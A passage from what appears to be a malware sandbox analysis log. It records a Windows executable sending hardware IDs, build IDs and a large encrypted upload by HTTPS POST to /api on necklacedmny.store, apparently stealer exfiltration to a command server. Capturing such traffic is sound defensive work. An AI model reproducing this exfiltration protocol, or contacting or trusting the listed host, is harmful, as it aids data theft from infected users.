2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:35:27 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i47cragvfugahvcgl8h9jgh571; expires=Sat, 22 Feb 2025 13:22:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sP7rM54QKOGo2onyRrUIcA5ob%2BpcXXlvV3S%2BvDQX42G0mzfhWkJkkDAaSWUejLyo2v4Ja3X3UmJJK9hPJANzafNYbp8Y763K1ivhvKSYk3aNIvOVK5UECVi6ZqPjwqtjXOIfhwM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59bd95bdfe583-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1022&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2706542&cwnd=251&unsent_bytes=0&cid=18ca6fb21e053120&ts=502&x=0"
2024-10-29 19:35:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:35:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49814	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:28 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-29 19:35:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:35:28 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-29 19:35:28 UTC	1027	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b57jp3le58ilto5p0dj8oc702i; expires=Sat, 22 Feb 2025 13:22:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eZxHYB6lsiY39zy3%2FwOzGd%2F0%2FSEYX7L%2FIBk3nym6nPFuSQLbBsLY47xhRw3UEbh8kPcG0QzmpP%2BKQ5bCwe5IEotlH51yKZgKBmZSmMzHQko9Y9mgYzpZHMnjcR2ahO%2F1I76%2Fm%2BY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59be2383f463b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2102&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21370&delivery_rate=1194719&cwnd=241&unsent_bytes=0&cid=3a7a69e009918f2b&ts=574&x=0"
2024-10-29 19:35:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:35:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49826	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:30 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: necklacedmny.store
2024-10-29 19:35:30 UTC	1221	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:35:31 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rn01vqvhaabutqfjluibdtq4lb; expires=Sat, 22 Feb 2025 13:22:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S2YY6sH4xnVXonI1%2FkReG79LElwXbUv9aspwRbZYRe2tPxPVTZScKIudYA84XpEycAHSBooSuOmY8MxY8Wx%2FtieCiaU1gHKgZNU4Z9l%2FruJlRQp05V5L%2BofgCH3kXp%2BsNwOCKVs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59bed5dbee95a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1679&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2140&delivery_rate=1816813&cwnd=244&unsent_bytes=0&cid=9125f4e9465520cb&ts=1984&x=0"
2024-10-29 19:35:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:35:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49846	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:33 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584820 Host: necklacedmny.store
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 7f 1c 9f c2 d9 e6 b5 c4 9e 47 09 7b 78 bf 20 21 4e ab 94 d5 a4 fc 06 e9 de b9 c3 78 26 3d 66 e4 9c c3 cb 1c 17 43 c1 31 fb dd bb 91 1e 79 13 59 d7 eb 51 f0 dd bb 51 e5 3b aa 69 f1 03 aa 92 41 94 9c 4f 51 05 2b 65 67 89 4b 53 c1 e8 e8 33 3c 85 45 08 9e 45 39 84 37 ca 13 0e 82 5d de 78 4a c7 22 94 2a b3 9f db 88 b2 ce 30 de fa 91 b7 85 87 c5 62 3c aa 91 69 8d 69 47 16 f7 f7 f3 b0 05 3d bb 41 ea 87 f1 24 1c 31 1e af 20 00 9d 50 ed 75 6c 09 aa 68 f1 a8 36 18 0d f0 a4 9e 02 c5 68 71 91 ce e3 a0 f8 2c 31 76 07 31 f2 c0 7d 34 aa 48 61 46 fd 67 11 2a 7a 47 2c 48 be a3 50 60 28 d4 c4 0c 23 84 39 89 4f 21 a3 fc 71 19 35 6c ac 6a 1b 86 f1 0b 2b d2 fa b7 92 b2 5c 1a 52 8e 18 51 ac 4d d5 8f 24 38 5e 1a 10 2a d0 85 27 b8 9c 64 c1 25 e7 ee 61 67 08 ee ba ae 34 fe 24 51 Data Ascii: G{x !Nx&=fC1yYQQ;iAOQ+egKS3<EE97]xJ"0b<iiG=A$1 Pulh6hq,1v1}4HaFgzG,HP`(#9O!q5lj+\RQM$8^*'d%ag4$Q
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 20 f9 d5 6f ac b3 f0 5d 97 7c 17 c1 eb 31 3b bf c4 24 73 95 48 e5 fe 68 e5 2b 30 44 2b be 9b d4 c5 dd a0 1c 77 bc 18 a1 87 c7 5b 06 c6 d0 1e ff 17 d9 c1 f8 aa 55 9f 31 f3 90 ce 7b bb 95 3c c1 76 46 5c f9 a2 be 3d c3 9d 2b 1d 51 6f ce 43 3d aa 8c 04 ee 1d 5b 42 e0 fe 4f 41 37 d7 77 87 35 9f 40 9a 3b 78 cc 21 f4 dc 96 19 f6 01 a9 14 69 ae 6b c0 01 bd 96 c8 1f 16 25 cd 3d 9b f2 a3 d5 4b 97 ec cc 8a cd a0 78 5b 93 9c ce a6 d7 d6 7d 52 b8 3f 6e af 34 2b d9 31 81 6a 1a 61 76 7b 37 ec e7 53 66 a3 70 a1 00 15 37 1f 91 ad 98 ca ec aa 6d e5 f9 12 ac e0 b2 5a 54 a4 af c8 c1 fb c6 78 45 9b 50 82 c5 8c 96 90 fe 85 d7 68 d8 73 7d 5d 62 c4 ff 74 84 7f 3f 3a 6b cd 70 b5 35 05 76 da e9 fb 41 d6 71 b7 0e d5 6e 0a 61 65 b1 03 09 6b dc 71 da 8b d8 62 2e ed 61 b6 1c 8f c3 f3 Data Ascii: o]\|1;$sHh+0D+w[U1{<vF\=+QoC=[BOA7w5@;x!ik%=Kx[}R?n4+1jav{7Sfp7mZTxEPhs}]bt?:kp5vAqnaekqb.a
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: e8 84 42 81 85 7d 26 71 8e 84 78 2d 19 40 16 d2 8c f8 08 c0 fb fc 3c 10 75 95 18 59 33 42 79 cf 69 3f b1 6f 51 1d bf 3d 94 dd 99 73 96 8e d2 82 c5 2c b9 2c 06 de 7f 8d fa 73 96 c8 13 8f 68 14 44 6b 85 5f 82 5c 5d 0d c0 6f d3 77 42 e0 05 46 06 bf 79 60 d3 ff 19 0c 4b 38 95 9a 00 c0 d0 f9 31 8a 14 91 46 54 07 64 2a db f8 d7 33 91 fb fb d9 b4 ef f8 13 21 14 95 0b c7 09 cc 01 28 17 bf c0 a0 01 8e 17 14 c4 1f 1e c4 7c 79 05 90 bb 1c e3 f1 3a e7 45 c1 7b 1f 92 b6 02 4a 67 38 7a d1 e6 06 3b 73 e3 03 8b a8 6b b0 55 7b 2f 4d dd a5 b8 d6 8a 40 d8 8f ac 23 39 54 8c 90 95 d3 b2 e3 a2 dc d8 54 8c 4b 95 0b 9c 5c 8b 88 dc e6 07 ee 3b 0d 42 3c 2d c9 75 a2 60 f5 20 71 f5 92 dd 6d c4 d6 57 c1 9d f6 8a ae c7 08 2f 79 08 17 7c 47 f5 3e f1 02 9c 86 ef 4d 08 37 5d d2 64 5e 03 Data Ascii: B}&qx-@<uY3Byi?oQ=s,,shDk_\]owBFy`K81FTd*3!(\|y:E{Jg8z;skU{/M@#9TTK\;B<-u` qmW/y\|G>M7]d^
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: f5 36 8f 87 59 36 a7 ac cb 91 e0 78 de 91 57 30 6b 76 84 00 42 e3 74 80 4f 13 b2 b1 c1 08 8b 7e f7 b3 76 86 5d bc 0a 05 9e a5 ae 01 b2 d9 ab 91 fd 10 99 fa dc 1c 90 f3 6f 6c 08 cb dc bc 57 30 34 d6 b0 fe 3a 2a e5 d1 2e ee 2c 7d 5b ad b0 94 1a e4 24 51 56 5a bd e4 ec ba 75 6f c5 47 00 6e 7c 83 ef de 34 62 f7 1a 1c f9 56 12 66 84 f4 00 68 dc 1f 6e 3d 91 cb 72 77 00 85 0a 06 7d 82 40 51 0f ed c0 2b e0 61 a4 3c 20 0c e6 f8 c5 45 90 60 63 46 c8 0b 71 44 02 ad cd 8b 60 72 4b c7 1b f0 7b 70 f0 29 57 c1 da 1a 18 08 a1 90 eb 0a 90 f2 05 39 eb d3 3f 11 b0 4b bf 0a b3 71 17 41 9f 3a 72 ce 83 ad d2 25 94 7b 4e 4c e8 52 27 4f 8d 39 f9 e1 aa dd b3 48 f2 d6 3e 15 d1 ef 5c 09 f9 40 0f 9e b2 4b 68 37 e8 92 23 5c 9c 84 0e 2e c1 85 4a b0 1d 56 91 c7 13 fd 95 bf 1d 08 68 26 Data Ascii: 6Y6xW0kvBtO~v]olW04:*.,}[$QVZuoGn\|4bVfhn=rw}@Q+a< E`cFqD`rK{p)W9?KqA:r%{NLR'O9H>\@Kh7#\.JVh&
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 00 44 c4 39 9e 21 66 63 61 df e2 77 11 10 dd 59 6e dd e9 13 b7 fe 8d 8f bd b5 dd 17 d1 bd 15 41 69 9d 8d 5f 51 18 49 bf c0 2b ce dc e7 76 51 77 61 13 5d 0c 96 67 73 ba ac e8 9d 3b e3 38 44 c7 30 72 8c d6 5f d3 d6 84 1d 7f d6 05 5c 6e 1f a2 b3 d6 e5 af b2 6c 68 5a 2a a0 d8 8d 8c 94 c4 2d 88 4e 75 67 68 8d f1 b4 e9 81 87 7b f1 dc 4d 00 2b 60 84 a4 81 e3 89 c8 03 45 84 9d 08 7f ca d3 ff 6c 76 3d 63 11 e1 90 0e 3c eb 9f 0f 45 8f 88 d0 1b 14 94 28 35 18 54 c8 4f 19 c3 5b 08 8c e2 aa 83 19 2c e6 8a 9a ff 99 9e ac 60 e0 28 49 69 81 bc 90 21 95 d3 80 64 24 be 42 67 9b b3 82 21 53 25 8a e4 b5 cd 7d 62 ad 7a ec e3 9f 12 e7 4c ca 3c 7a c6 2e 61 df 0a c4 89 50 2a 38 b7 fe 26 e3 e7 cf 9f b2 c8 6e 30 c6 c2 48 52 4d bd 2d 32 ca 67 91 9d c1 ca 4b a6 4f 06 ca 82 ef 82 f9 Data Ascii: D9!fcawYnAi_QI+vQwa]gs;8D0r_\nlhZ-Nugh{M+`Elv=c<E(5TO[,`(Ii!d$Bg!S%}bzL<z.aP8&n0HRM-2gKO
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: c3 30 06 ae 39 0a 4f f7 f8 4e db fa 9e 7c 2e 80 7f 69 40 20 13 08 fe d7 2e 3b cd 6d 3c 7f 37 a8 d0 c6 90 6f 89 1a d5 bf 77 6b 27 77 c0 79 cb fc b9 2e 28 90 c1 29 a0 e9 9c 43 3d 80 51 0c 6f ef df 3e 48 40 da 63 2e 2f 10 c7 08 a1 11 f4 8a 6a 06 c5 76 3b 14 6d 7e 40 a8 13 bc 96 45 22 94 0c 28 5f 84 51 ce 5f 1c 8a 4c 25 70 ca 11 f5 94 98 7a c7 f8 73 15 38 cc f1 f6 04 d6 98 bf 8d 91 10 b8 af b5 ae 43 80 3c 2d b0 73 86 bf 12 07 ad 06 cd 65 95 73 fa 7b 8b 82 17 11 6a 9d 5b bf 49 cd 41 2f c4 9d a8 fc 2e 14 cc f9 b6 e8 99 64 32 21 86 19 88 1d d5 94 d8 b1 9b b0 93 dd b9 41 dd 78 38 cf 23 bc 8a 5f df 6b d8 4e ba fa 2f 09 6d 41 fc af c3 df 7d 29 8a 6e ac cf ed da b2 d8 9b df 2e 26 0f c3 fe 18 58 86 1b 5f 6c dd 91 37 5b 1b 04 44 05 24 fe 92 87 37 15 e4 e1 1c 1e ca f4 Data Ascii: 09ON\|.i@ .;m<7owk'wy.()C=Qo>H@c./jv;m~@E"(_Q_L%pzs8C<-ses{j[IA/.d2!Ax8#_kN/mA})n.&X_l7[D$7
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 32 87 82 9e 3b fd fc 61 d6 3e 93 1a c8 a7 97 3d 09 ed a5 fa 2e 7a fe c9 6e a3 09 b0 b2 49 fa 55 eb e1 aa c5 f5 7a 6b 5b 3d 46 7c e1 0e 32 dd 83 9e 5d 6b 7a 83 6a ac d1 f9 c7 59 f7 59 c6 43 fe f3 9c 12 23 fe de eb 5f b0 9c 81 f9 79 51 f0 bc fb 5f b0 f0 a5 a7 62 5e 91 ba 7f bd 84 41 2d f2 de e3 36 7a 86 3c b0 b0 bc 99 b2 14 c5 b5 ac 2b e2 38 0e ce cf d3 06 4b 52 39 9c 66 d2 9e 61 97 f5 d8 6b a3 2f 3e b6 cf ab 24 1c 81 18 cd 36 7b a9 6d 92 5c e6 52 c4 ec f2 a6 e7 26 9a 5b b9 6e 28 dc 28 b4 af d0 6e 88 d7 9f 40 10 26 f8 ab 83 85 9d cc e5 f5 44 76 ba 71 a4 43 2a fb d1 f7 f6 af bf 7b 26 eb ea 58 51 51 86 ec 5a 4e 8f d1 e3 ba a2 cd f6 54 da bc 92 c9 f2 bf f3 c9 dc db c3 3d 2f 68 99 0b 25 ec 94 ea 07 34 bf 11 92 d3 dc a3 ca 92 24 6f b6 f1 c8 96 42 43 15 6d 8c 43 Data Ascii: 2;a>=.znIUzk[=F\|2]kzjYYC#_yQ_b^A-6z<+8KR9fak/>$6{m\R&[n((n@&DvqC*{&XQQZNT=/h%4$oBCmC
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 09 e3 ea ef 62 cd 2b ed 11 84 12 be 4b 1c 3d 5d 1e 61 22 0c cd 7c d6 94 01 87 87 bf 27 e5 fa 7c d6 3d c7 15 9d 0e 5b c3 1c 41 5d dd e7 d3 37 95 3d 15 b8 ef 1e 7d 67 9d 2b fd 68 6f 7f bd 79 44 7e cc 04 31 25 e6 5e ee a0 c9 36 01 83 89 91 23 83 20 e5 34 53 af e7 ef 18 8e 3d 1f 5a de c5 84 46 4a b1 fe d3 ec 8a 52 e0 58 79 c8 1d 40 d3 63 fd 9d 95 b2 fe 36 da 56 b0 bb b3 2a 7d af bc 89 50 8e 46 cf 1d bd 07 97 97 a6 11 5c c1 8f f6 78 13 9a 97 ac 58 3c 79 89 80 11 0c 64 f1 11 50 26 98 b8 42 94 ab 9a 9f cf c7 a5 0f 58 fc ff eb e2 6c 4b 06 9b 30 0a 04 5c 7a 74 44 aa 0a d3 7b b5 28 12 51 67 cc ed ac 98 5f 04 7c 34 c9 41 07 84 69 5b 03 38 76 6d 17 5f 8e 0a c0 0c d9 40 c8 01 8f a0 3d 6b ad 7a 6a 0e 9a 28 ca 92 75 bd f6 fc ec b2 eb 57 d1 6d 85 3c 09 2e 34 09 2d f7 d7 Data Ascii: b+K=]a"\|'\|=[A]7=}g+hoyD~1%^6# 4S=ZFJRXy@c6V*}PF\xX<ydP&BXlK0\ztD{(Qg_\|4Ai[8vm_@=kzj(uWm<.4-
2024-10-29 19:35:33 UTC	15331	OUT	Data Raw: 8b cc 7f 9c f8 b7 f1 cd 7c ad 57 9a 11 a7 f7 67 24 69 d6 ca d4 68 90 b9 3e 28 3a ab d5 f5 01 8e fd b1 d2 33 18 1d 18 57 62 a2 df 5a e0 d1 67 34 d8 89 ef c5 cd 8e 36 78 94 cc ec 8a f3 58 fe 54 4f 0a ce f5 d6 94 ec 2b 12 66 8e cf ef 00 e4 53 51 41 b8 6f e6 d3 2b 55 ba 6d de 5e 93 be 1f fa 8e f7 ad ef d4 4c 69 33 f5 cd 94 ce f5 21 ad 07 91 be 29 10 eb 15 d8 03 85 41 d2 f1 c5 ad 1e d7 57 02 6a 1b 8b 27 10 55 54 b5 14 17 66 bf fd 6a de 71 c5 43 8e 27 6a ff ad d2 a5 aa 4a 78 08 1c 90 38 d1 73 b3 38 21 ac c8 24 5c 3c ed 6b 40 20 a8 af 34 b9 77 9b b9 bf 8e ef f4 29 b4 fa b9 b4 e2 cd 0f 6e 9f b7 d0 8e f7 52 79 19 99 98 4e c8 27 36 f6 67 89 ba 99 9b bb 88 4b 75 9e 73 3b b9 ed 34 f4 ac 8a 8a 8d f1 c3 6c 3f b3 49 a1 79 99 f5 a0 95 65 59 80 eb 57 82 fb d4 8b 77 a2 17 Data Ascii: \|Wg$ih>(:3WbZg46xXTO+fSQAo+Um^Li3!)AWj'UTfjqC'jJx8s8!$\<k@ 4w)nRyN'6gKus;4l?IyeYWw
2024-10-29 19:35:36 UTC	1029	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=knmkilq5pnl4nephk87tf54j2b; expires=Sat, 22 Feb 2025 13:22:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hlg%2FQ%2B4%2B9Klo5igKyqe3W%2BO3ZNdFweqix%2FIMQUnCmfTFbz8VfMYqtL0FUdFkjNhPO5KkErEUEGPJuruAUeAoPKxedppupcrViI7IEBHc53oqAXcIOEm0V%2BI97EvxIAfKhaGO%2B8o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59c003a5b47a6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&sent=250&recv=589&lost=0&retrans=0&sent_bytes=2845&recv_bytes=587413&delivery_rate=1613370&cwnd=242&unsent_bytes=0&cid=d6680e0cb4c5e3ef&ts=2998&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49864	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:36 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 19:35:36 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=2E92B8E08FC022863821E83149CCF748
2024-10-29 19:35:37 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=giko8c6odklmrvgvmen8m1bjks; expires=Sat, 22 Feb 2025 13:22:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HLpugITyuuJfqRDuZsiARuROn%2F5tk5N7hpmnhIjGSLL%2B768s90mernAegeFjk2rXjpYIPkbAjhNLiY5LaRWuoj8A9%2FfHvPUiCp6M6pa7oW4xJZ2YwYrYTb4oqIru7jvqbUnBhqM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59c169f030bf7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1714624&cwnd=228&unsent_bytes=0&cid=0935d035f407d6a4&ts=478&x=0"
